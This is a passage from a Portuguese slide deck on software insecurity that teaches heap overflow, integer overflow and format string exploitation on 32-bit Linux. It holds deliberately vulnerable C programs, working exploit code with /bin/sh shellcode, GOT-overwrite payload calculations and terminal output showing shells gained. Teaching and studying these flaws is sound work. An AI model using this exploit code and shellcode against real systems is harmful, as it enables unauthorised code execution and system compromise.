chunk C 0xdefaced
tam & PREV_INUSE tam & ~PREV_INUSE
próximo livre próximo livre
anterior livre anterior livre
103.
Heap Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O atacante controla o chunk A. Os primeiros 8 bytes
correspondem aos campos fd e bk do chunk e serão
sobrescritos ao se inserir o chunk na bin.
Shellcode é injetado.
Controlando bk e fd do segundo chunk pode-se
sobrescrever qualquer endereço. Basta desabilitar o
flag PREV_INUSE do terceiro chunk.
104.
Heap Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
É possível colocar o endereço do payload em
qualquer lugar da memória.
Mas como fazer o payload ganhar o controle do eip?
R: GOT
105.
Heap Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
É através da Global Offset Table que funções de
bibliotecas compartilhadas são carregadas
dinamicamente.
Chamadas de função fazem referência à GOT. Na
primeira vez que uma função é chamada um endereço
é alocado para a mesma. Esse endereço é colocado na
GOT.
Chamadas subsequentes redirecionam o eip para o
endereço encontrado na tabela.
106.
Heap Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Sobrescrevendo o endereço 0x08049608 com o
endereço de bar(), toda vez que free() for chamada o
fluxo será direcionado para o código de bar().
[rafael@centos heap]$ objdump -R heap_overflow_ex2
heap_overflow_ex2: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080495f0 R_386_GLOB_DAT __gmon_start__
08049600 R_386_JUMP_SLOT __gmon_start__
08049604 R_386_JUMP_SLOT __libc_start_main
08049608 R_386_JUMP_SLOT free
0804960c R_386_JUMP_SLOT malloc
[rafael@centos heap]$
107.
Heap Overflow
Programa vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main( int argc, char * argv[] ){
char *first, *second;
if(argc != 2)
return;
first = malloc(666);
second = malloc(12);
strcpy( first, argv[1] );
printf("%sn", first);
free( first );
free( second );
}
108.
Heap Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
#define FUNCTION_POINTER ( 0x08049628 )
#define CODE_ADDRESS ( 0x804a008 + 2*4 )
char payload[] = /*jmp*/
"xebx0a”
“AAAAAAAAAA”
/*shellcode*/
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd"
"x80";
int main(){
char *p, *argv[] = { "heap_overflow_ex3", buffer, NULL};
char buffer[ 680 + 1 ];
p = buffer;
*((int*)p) = 0xdefaced; /*FD*/
p += 4;
*((int*)p) = 0xdefaced; /*BK*/
p += 4;
109.
Heap Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
memcpy( p, payload, strlen(payload) );
p += strlen( payload );
memset( p, 'A', (680 - 4*5) - (2*4 + strlen(payload)) );
p += ( 680 - 4*5 ) - ( 2*4 + strlen(payload) );
*((int*)p) = 0xdefaced & ~0x1; /*size 3*/
p += 4;
*((int*)p) = 0xdefaced; /*prev_size 2*/
p += 4;
*((int*)p) = -8 | 0x1; /*size 2*/
p += 4;
*((int*)p) = FUNCTION_POINTER - 12; /*FD*/
p += 4;
*((int*)p) = CODE_ADDRESS; /*BK*/
p += 4;
*p = '0';
execve(argv[0], argv, NULL);
}
110.
Heap Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
chunk A prev_size prev_size
00010000 00010000
0xdefaced
0xdefaced
dados shellcode Fake C
0xdefaced & ~0x1
chunk B 0xdefaced
00010001 0xfffffff8
(GOT entry) - 12
dados shellcode addr
...
chunk C tam & PREV_INUSE tam & PREV_INUSE
111.
Heap Overflow
Execução do ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos heap]$ ./exploit_heap_overflow_ex3
ë¬ï
AAAAAAAAAA1ÀPh//shh/binãPSá1Ò°
ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAùÿÿžAAì¬ï
sh-3.2$
112.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
113.
Integer Overflow
Representação de inteiro
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Uma variável tem um valor limite ditado pelo
tamanho da mesma na memória. Quando esse valor
limite é ultrapassado a variável é zerada, pois foi
estourado seu limite físico.
11111111b (255)
+ 00000001b (1)
------------------
100000000b
114.
Integer Overflow
Unsigned overflow
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(){
int i;
unsigned char cont;
cont = 0;
for(i = 0; i < 300; i++)
printf("%dn", cont++);
}
...
253
254
255
0
1
2
...
115.
Integer Overflow
Representação de inteiro
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
A representação de números negativos é feita através
do complemento de 2.
-4 = (~4)+1 <=>
-4 = (~00000100b) + 1b <=>
-4 = (11111011b) + 1b <=>
-4 = 11111100b
116.
Integer Overflow
Representação de inteiro
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Uma variável deve especificar se representa valores
signed (padrão) ou unsigned.
N bits representando valores unsigned podem assumir os
valores [0,2ⁿ - 1].
Representando valores signed o msb é usado para
representação de números negativos, logo o intervalo é
[-2ⁿ˗¹, 2ⁿ˗¹ - 1].
117.
Integer Overflow
Signed overflow
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(){
int i;
char cont;
cont = 0;
for(i = 0; i < 300; i++)
printf("%dn", cont++);
}
...
125
126
127
-128
-127
-126
...
118.
Integer Overflow
Conversões de tipo
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Ao se converter um signed de tipo menor para um
unsigned de tipo maior ocorre sign extension e um valor
negativo passa a ser representado como um valor muito
grande.
Ao se converter um signed de tipo menor para um signed
de tipo maior ocorre sign extension e os valores são
preservados.
119.
Integer Overflow
Conversões de tipo
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Ao se converter um unsigned de tipo menor para um
unsigned de tipo maior ocorre zero extension e o valor é
preservado.
Ao se converter um tipo maior para um tipo menor ocorre
truncamento de bytes e os valores podem ser alterados.
Ao se converter de signed para unsigned de mesmo tipo,
a representação de bits não se altera mas o valor é
interpretado de maneira diferente.
120.
Integer Overflow
Truncamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(void){
int i;
short s;
char c;
c = s = i = 0x41424344;
printf("i = 0x%x (%d)n", i, i);
printf("s = 0x%x (%d)n", s, s);
printf("c = 0x%x (%d)n", c, c);
}
121.
Integer Overflow
Truncamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Ocorre quando um valor é atribuído a uma variável que
não tem capacidade para representá-lo completamente.
Então os bits mais significativos são descartados.
[rafael@centos integer]$ ./integer_overflow_ex3
i = 0x41424344 (1094861636)
s = 0x4344 (17220)
c = 0x44 (68)
[rafael@centos integer]$
122.
Integer Overflow
Sign extension
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(void){
int i;
char c;
i = c = (char)0xf0;
printf("i = 0x%x (%d)n", i, i);
printf("c = 0x%x (%d)n", c, c);
i = c = (char)0x70;
printf("i = 0x%x (%d)n", i, i);
printf("c = 0x%x (%d)n", c, c);
}
123.
Integer Overflow
Sign extension
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Ocorre quando um valor signed é convertido para um
tipo maior. O valor é copiado, e o bit mais significativo é
estendido para os bits não usados.
[rafael@centos integer]$ ./integer_overflow_ex4
i = 0xfffffff0 (-16)
c = 0xfffffff0 (-16)
i = 0x70 (112)
c = 0x70 (112)
[rafael@centos integer]$
124.
Integer Overflow
Zero extension
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(void){
int i;
unsigned char c;
i = c = (unsigned char)0xf0;
printf("i = 0x%x (%d)n", i, i);
printf("c = 0x%x (%d)n", c, c);
i = c = (unsigned char)0x70;
printf("i = 0x%x (%d)n", i, i);
printf("c = 0x%x (%d)n", c, c);
}
125.
Integer Overflow
Zero extension
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Ocorre quando um valor unsigned é convertido para um
tipo maior. O valor é copiado, e ocorre um extensão de
zeros para os bits não usados.
[rafael@centos integer]$. ./integer_overflow_ex5
i = 0xf0 (240)
c = 0xf0 (240)
i = 0x70 (112)
c = 0x70 (112)
[rafael@centos integer]$
126.
Integer Overflow
Promoção de inteiros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(void){
unsigned char x = 10, sub;
if( (x-20) <= -1 )
printf("x (%d) é menor que 20n", x);
else
printf("x (%d) é maior que 20n", x);
sub = x-20;
if( sub <= -1 )
printf("x (%d) é menor que 20n", x);
else
printf("x (%d) é maior que 20n", x);
}
127.
Integer Overflow
Promoção de inteiros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Quando uma operação ocorre sobre uma variável, ela
pode ser promovida para atender à expectativa do
operador. Geralmente tudo é promovido para o tipo int.
Caso uma operação entre duas variáveis seja realizada, e
uma delas é de tipo maior que int, a outra é promovida
para esse tipo.
Se o operando unsigned for de tamanho maior ou igual
ao do signed, promove-se o operando signed para o tipo
do operando unsigned.
128.
Integer Overflow
Promoção de inteiros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Se a representação for a mesma (signed ou unsigned), o
operando de tipo menor é promovido para o de tipo
maior.
Se o operando signed tiver tamanho maior que o
operando unsigned e puderem ser preservados os
valores, promove-se o operando unsigned para o tipo do
operando signed.
129.
Integer Overflow
Promoção de inteiros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Se o operador signed tiver tamanho maior que o do
operando unsigned, e não puderem ser preservados os
valores, promovem-se ambos para unsigned com tipo do
operando signed.
[rafael@centos integer]$ ./integer_overflow_ex6
x (10) é menor que 20
x (10) é maior que 20
[rafael@centos integer]$
130.
Integer Overflow
Programas vulneráveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
#define MAXLEN 8
int main(){
int len, n;
char buffer[MAXLEN];
scanf("%dn", &len);
if(len > MAXLEN-1){
fprintf(stderr, "tamanho requisitado maior do que o permitidon");
return 1;
}
if( (n = fread(buffer, 1, len, stdin)) < 0 )
return 1;
buffer[n] = '0';
printf("buffer %s", buffer);
printf("n");
}
131.
Integer Overflow
Programas vulneráveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Como o programa usa fread() para ler da entrada padrão,
devemos terminar a entrada com um EOF (ctrl-D).
Na checagem de tamanho, len é um número negativo
muito pequeno. Na passagem para fread() é convertido
para unsigned, sendo interpretado como um valor muito
grande.
[rafael@centos integer]$ ./integer_overflow_ex7
-1
AAAABBBBCCCCDDDDEEEEFFFFbuffer: AAAABBBB
Segmentation fault
[rafael@centos integer]$
132.
Integer Overflow
Programas vulneráveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
#define MAXLEN 200
int main(int argc, char *argv[]){
unsigned char len;
char buffer[MAXLEN];
if(argc != 2)
return 1;
len = strlen(argv[1]);
if(len > MAXLEN-1){
fprintf(stderr, "argumento muito longon");
return 1;
}
strcpy(buffer, argv[1]);
printf("%sn", buffer);
}
133.
Integer Overflow
Programas vulneráveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O comando perl passa 256 caracteres “A” como entrada.
Esse valor não pode ser representado por len, com isso
ocorre o truncamento e len recebe zero de
strlen(argv[1]).
[rafael@centos integer]$ ./integer_overflow_ex8 `perl -e 'print "A"x256'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
[rafael@centos integer]$
134.
Integer Overflow
Antisniff v1.0
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
A seguinte função faz o parsing de um domínio de
dns e copia os dados para nameStr.
Cada palavra do domínio é precedida por 1 byte
que indica o tamanho da palavra.
O pacote termina com um byte 0x00, indicando o
fim do pacote.
135.
Integer Overflow
Código do parsing
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
char *indx;
int count;
char nameStr[MAX_LEN]; //256
...
memset(nameStr, '0', sizeof(nameStr));
...
indx = (char *)(pkt + rr_offset);
count = (char)*indx;
while (count){
(char *)indx++;
strncat(nameStr, (char *)indx, count);
indx += count;
count = (char)*indx;
strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
}
nameStr[strlen(nameStr)-1] = '0';
136.
Integer Overflow
Buffer não gerenciado
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Não é feita nenhuma checagem de tamanho do
buffer nameStr, o que possibilita um buffer
overflow.
Enquanto count != 0 dados serão escritos no
buffer.
Integer Overflow
Problema com Signed extension
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
count é um signed controlado pelo usuário.
Passando um valor negativo para count esse valor
será somado à strlen(nameStr) que é um valor
unsigned.
count será promovido para unsigned int e se
tornará um valor muito grande, que quando
somado à strlen(nameStr) pode gerar um
overflow, resultando em um número muito
pequeno, passando então pelo teste.
139.
Integer Overflow
Tempo é dinheiro!
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
char *indx;
int count;
char nameStr[MAX_LEN]; //256
...
memset(nameStr, '0', sizeof(nameStr));
...
indx = (char *)(pkt + rr_offset);
count = (char)*indx;
while (count){
if (strlen(nameStr) + (unsigned int)count < ( MAX_LEN - 1) ){
(char *)indx++;
strncat(nameStr, (char *)indx, count);
indx += count;
count = (char)*indx;
strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
}else count = 0;
}
nameStr[strlen(nameStr)-1] = '0';
140.
Integer Overflow
Cast inútil
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Nada mudou!
Por falta de conhecimento o desenvolvedor achou
que quando count fosse negativo algo parecido
com isso seria feito:
strlen(nameStr) - ((-1)*count)
Integer Overflow
Problemas Corrigidos!?
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Em count = (char)*indx; o byte que especifica o
tamanho da palavra é lido como um unsigned
char, através do cast, força-se uma conversão
para signed char. Em seguida, ao se atribuir o
valor à count ele é convertido para unsigned int,
ocorre sign extension e o valor pode ser tratado
como um valor muito grande.
143.
Integer Overflow
Problemas Corrigidos!?
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Porém dessa vez strlen(nameStr) retorna 0 e o
código não entra no if.
Na saída do loop um '0' será colocado em
nameStr[-1].
Explorar essa vulnerabilidade é impossível nesse
caso, mas em outras aplicações que apresentam a
mesma falha pode ser possível tirar vantagem
dessa brecha.
144.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
145.
Format String Bug
Format string
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
É uma string que contém o texto que será escrito
no buffer de destino.
Pode conter tags de formatação (%d, %n, %p
etc) que serão substituídas pelos parâmetros
subsequentes corretamente formatados.
O número de argumentos seguindo uma string de
formato tem que ser maior ou igual ao número de
tags de formatação.
146.
Format String Bug
Funções vulneráveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
printf, fprintf, sprintf, snprintf, vprintf, vfprintf,
vsprintf, vsnprintf, syslog.
147.
Format String Bug
Funcionamento interno
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(){ esp
int a = 0; variáveis locais
char buffer[] = "strings de formato"; ebp ebp salvo
printf("E%nste é o exemplo", &a); ret
printf(" %08d de %sn", a, buffer); format string
printf("O endereço de buffer é: %08pn", buffer); &a
}
[rafael@centos format string]$ ./format_string_ex1
Este é o exemplo 00000001 de strings de formato
O endereço de buffer é: 0xbffff4ed
[rafael@centos format string]$
148.
Format String Bug
Tags de formatação
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
%n coloca o número de caracteres escritos até o
momento em um ponteiro para inteiro.
%08d fará com que seja copiado para a saída um
decimal preenchido com zeros à esquerda até que se
complete o tamanho de 8 caracteres.
%08x lê um inteiro e gera saída em hexadecimal com
um tamanho de 8 bytes.
149.
Format String Bug
Lendo da memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
void func(char *str){
printf(str);
}
int main(){
char str[] = "%08p%08p%08p%08p%08p%08p%08pn";
func(str);
}
[rafael@centos format string]$ ./format_string_ex2
(nil)0xbffff5080x804842a0xbffff4e6 (nil)0xbffff6f90xb7ee4dae
[rafael@centos format string]$
150.
Format String Bug
Lendo da memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Pode-se ler qualquer endereço a partir do ponteiro
para a string de formato.
ebp ebp func
ret printf
string de formato
dummy 0x80495d4
ebp func 0xffea0108
ret func 0x80483f6
151.
Format String Bug
Lendo de qualquer lugar da memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Como os endereços seguintes ao ponteiro para a string
de formato podem ser acessados, isso permite que se
acesse a própria string de formato, visto que a stack
cresce em direção à memória baixa.
Então, codificando um endereço (little endian) de
memória diretamente na string de formato é possível
ler o endereço apontado pelo mesmo através da tag de
formato %s. O problema é que o endereço é tratado
como uma string e vai terminar no primeiro NULL
encontrado.
152.
Format String Bug
Lendo de qualquer lugar da memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(){
char *ptr, *addr;
int i = 0x45444342;
char str[] = "AAAAxffxffxffxff%08x%08x%08x%08x%08x%08x%08x__%s__n";
addr = (char*)&i;
ptr = (char*)&addr;
str[4] = *ptr;
str[5] = *(ptr+1);
str[6] = *(ptr+2);
str[7] = *(ptr+3);
printf(str);
}
[rafael@centos format string]$ ./format_string_ex3
AAAAøôÿ¿00000000000000000000000000000000000000000000000041414141__BCDEøôÿ¿üôÿ¿
õÿ¿xõÿ¿# Æè·# # # xõÿ¿# Æè·__
[rafael@centos format string]$
153.
Format String Bug
Escrevendo na memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(){
char *ptr, *addr;
int i = 0xaabbccdd;
char str[] = "AAAAxffxffxffxff%08x%08x%08x%08x%08x%08x%08x__%n__n";
addr = (char*)&i;
ptr = (char*)&addr;
str[4] = *ptr;
str[5] = *(ptr+1);
str[6] = *(ptr+2);
str[7] = *(ptr+3);
fprintf(stderr, "variavel i (%p) = 0x%xnn", &i, i);
printf(str);
fprintf(stderr, "nvariavel i (%p) = 0x%xn", &i, i);
}
154.
Format String Bug
Escrevendo na memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Codificando um endereço válido na string de formato,
pode-se alterar o valor apontado por esse endereço.
Basta apenas chegar até a posição da string de formato
na stack e então encontrar o endereço codificado.
155.
Format String Bug
Escrevendo na memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Então, é só passar a tag %n tendo como argumento o
endereço codificado.
[rafael@centos format string]$ ./format_string_ex4
variavel i (0xbffff4f8) = 0xaabbccdd
AAAAøôÿ¿080485d0bffff4f8aabbccdd00000000000000000000000041414141____
variavel i (0xbffff4f8) = 0x42
[rafael@centos format string]$
156.
Format String Bug
Controlando a memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(){
char *ptr, *addr;
int i = 0xaabbccdd;
char str[] = "AAAAxffxffxffxff%0233811115x%08x%08x%08x%08x%08x”
“%08x%08x__%n__n";
addr = (char*)&i;
ptr = (char*)&addr;
str[4] = *ptr;
str[5] = *(ptr+1);
str[6] = *(ptr+2);
str[7] = *(ptr+3);
fprintf(stderr, "variavel i (%p) = 0x%xnn", &i, i);
printf(str);
fprintf(stderr, "nvariavel i (%p) = 0x%xn", &i, i);
}
157.
Format String Bug
Controlando a memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Para controlar o valor a ser escrito no endereço
codificado basta usar os especificadores de tamanho
nas tags de formato. Assim, pode-se forçar que uma
quantidade específica de bytes seja enviada para a
saída, de modo que quando %n for ativada o valor a
ser escrito possa ser controlado pelo atacante.
[rafael@centos format string]$ ./format_string_ex5 > /dev/null
variavel i (0xbffff4f8) = 0xaabbccdd
variavel i (0xbffff4f8) = 0xdefaced
[rafael@centos format string]$
158.
Format String Bug
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
char shellcode[]=
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd"
"x80";
int main(int argc, char *argv[]){
if(argc != 2){
printf("uso: %s <param>n", argv[0]);
return 1;
}
printf("shellcode - %pn", shellcode);
printf("retaddr - %pn", &argc-1);
printf(argv[1]);
printf("n");
printf("%pn", *(&argc-1));
}
159.
Format String Bug
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Controlando qualquer endereço de memória é
possível redirecionar o fluxo de execução do
programa para o payload previamente injetado
pelo atacante.
Para tal, basta sobrescrever um endereço de
retorno ou uma entrada na GOT.
160.
Format String Bug
String de formato
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
1 x “AAAA” = 4
1 endereço = 4
%134519792x = 134519792
132 x %08x = 1056
total = 0x0804a018
então,
bffff2ec = 0x804a018
161.
Format String Bug
Redirecionando fluxo
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos format string]$ /format_string_ex6 `cat badfile_ex61.bin`
shellcode - 0x804a018
retaddr - 0xbffff2ec
…
bffff2ecbffff2e8bffff2f0b7ff0f50bffff2f0bffff348b7e8c685080484c008048340b
ffff348b7e8c68500000002bffff374bffff380b7fe2b380000000100000001000000000804824cb7fc
fff4080484c008048340bffff348d005e179fe6c9569000000000000000000000000b7ff6090b7e8c5
adb7ffeff400000002080483400000000008048361080483f400000002bffff374080484c0080484b0
b7ff0f50bffff36cb7ffbaaa00000002bffff4c0bffff4d400000000bffff705bffff727bffff73abffff771bFfff781
bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc84bffffcb4bffffce5bffffcf5bffffd42bffffd62bFfffd7d
bffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfFfff27b
fffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd20000000000000020b7ffd42000000021b7ffd0000
0000010078bf3bf000000060000100000000011000000640000000308048034000000040000002
0000000050000000800000007b7fe3000000000080000000000000009080483400000000b00000
3e70000000c000003e70000000d000003e70000000e000003e700000017000000000000001fbffff
fe80000000fbffff4bb00000000000000000000000069000000003638366f662f2e74616d72727473
5f5f676e690036786541414141aaaaaaaaaaa
0x804a018
sh-3.2$ exit
exit
[rafael@centos format string]$
162.
Format String Bug
Controlando a memória byte a byte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Pode ser que haja algum limite para os
especificadores de tamanho, como também para a
quantidade total de caracteres gerados como
saída.
Então, para controlar o valor a ser escrito, deve-
se escrever byte a byte o valor na posição
desejada.
163.
Format String Bug
Controlando a memória byte a byte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
4 x “AAAA” = 16
4 endereços = 16
132 x %08x = 1056
%216x = 216
bffff2cc = 0x00000518
%136x = 136
bffff2cd = 0x000005a0
%100x = 100
bffff2ce = 0x00000604
%260x = 260
bffff2cf = 0x00000708
então,
bffff2cc = 0x0804a018
164.
Format String Bug
Controlando a memória byte a byte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos format string]$ /format_string_ex6 `cat badfile_ex62.bin`
shellcode - 0x804a018
retaddr – 0xbffff2ccc
....
AAAA����AAAA����AAAA����AAAA����bffff2ccbffff2c8bffff2d0b7ff0f50bffff
2d0bffff328b7e8c685080484c008048340bffff328b7e8c68500000002bffff354bffff360b7fe2b3800
00000100000001000000000804824cb7fcfff4080484c008048340bffff328d085a179feec9569000
000000000000000000000b7ff6090b7e8c5adb7ffeff40000000208048340000000000804836108
0483f400000002bffff354080484c0080484b0b7ff0f50bffff34cb7ffbaaa00000002bffff4a0bffff4b40
0000000bffff705bffff727bffff73abffff771bffff781bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc
84bffffcb4bffffce5bffffcf5bffffd42bffffd62bffffd7dbffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe
1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfffff27bfffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd200
00000000000020b7ffd42000000021b7ffd00000000010078bf3bf0000000600001000000000110
000006400000003080480340000000400000020000000050000000800000007b7fe3000000000
080000000000000009080483400000000b000003e70000000c000003e70000000d000003e7000
0000e000003e700000017000000000000001fbfffffe80000000fbffff49b000000000000000000000
00069000000003638366f662f2e74616d727274735f5f676e6900367865
41414141
41414141 41414141
41414141aaaa
0x804a018
sh-3.2$
165.
Format String Bug
Acesso direto à parametros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Caso haja algum limite para o tamanho da string
de formato injetada, pode-se usar o especificador
de formato %pos$n, onde pos é a posição do
argumento desejado na passagem para a função.
166.
Format String Bug
Acesso direto à parametros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
4 x “AAAA” = 16 %100x = 100
4 endereços = 16 bffff4ce = 0x00000204
%248x = 248 %260x = 260
bffff4cc = 0x00000118 bffff4cf = 0x00000308
%136x = 136 então,
bffff4cd = 0x000001a0 bffff4cc = 0x0804a018
167.
Format String Bug
Acesso direto à parametros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos format string]$ /format_string_ex6 `cat badfile_ex63.bin`
shellcode - 0x804a018
retaddr - 0xbffff4cc
AAAA����AAAA����AAAA����AAAA����
bffff4cc
bffff4c8 bffff4d0
b7ff0f50aaaa
0x804a018
sh-3.2$ exit
exit
[rafael@centos format string]$
168.
Format String Bug
Programa vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int func(char *str){
printf(str);
printf("n");
}
int main(int argc, char *argv[]){
if(argc != 2){
printf("uso: %s <param>n", argv[0]);
return 1;
}
func(argv[1]);
}
169.
Format String Bug
Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
A exploração será feita através da GOT. Quando
putchar() for chamada após o ataque, o fluxo do
programa será redirecionado para o endereço
injetado na tabela.
Basta gravar na entrada GOT de putchar() o
endereço do payload. Sabendo em que posição
(como parametro da função vulnerável) argv[1] se
encontra, é fácil calcular seu endereço, dado o
endereço (estimado) da stack.
170.
Format String Bug
Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O endereço do payload deve ser colocado em
0x0804a004.
[rafael@centos format string]$ objdump -R format_string_ex7
format_string_ex7: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT __gmon_start__
0804a004 R_386_JUMP_SLOT putchar
0804a008 R_386_JUMP_SLOT __libc_start_main
0804a00c R_386_JUMP_SLOT printf
[rafael@centos format string]$
171.
Format String Bug
Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
4 x “AAAA” = 16
4 endereços = 16
45 x 0x90 = 41
shellcode = 23
total = 100
%72x = 72
0804a004 = 0x000000ac
%74x = 74
0804a005 = 0x000000f6
%9x = 9
0804a006 = 0x000000ff
%192x = 192
0804a007 = 0x000001bf
então,
0804a004 = 0xbffff6ac
172.
Format String Bug
Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
0xbffff6ac é o endereço do payload.
0xbffff6ac ≅ esp – 128 + 137*4 ± offset.
[rafael@centos exemplos]$ ./get_esp
esp: 0xbffff4f4
[rafael@centos exemplos$
[rafael@centos format string]$ ./format_string_ex7 `cat badfile_ex7.bin`
sh-3.2$ exit
exit
[rafael@centos format string]$
173.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
174.
Técnicas Modernas
(In)Segurança deSoftware, Quebrando Códigos - Rafael Rosa
Atualmente existem proteções que dificultam a execução
do payload.
Área de dados apenas com permissão de execução. Não é
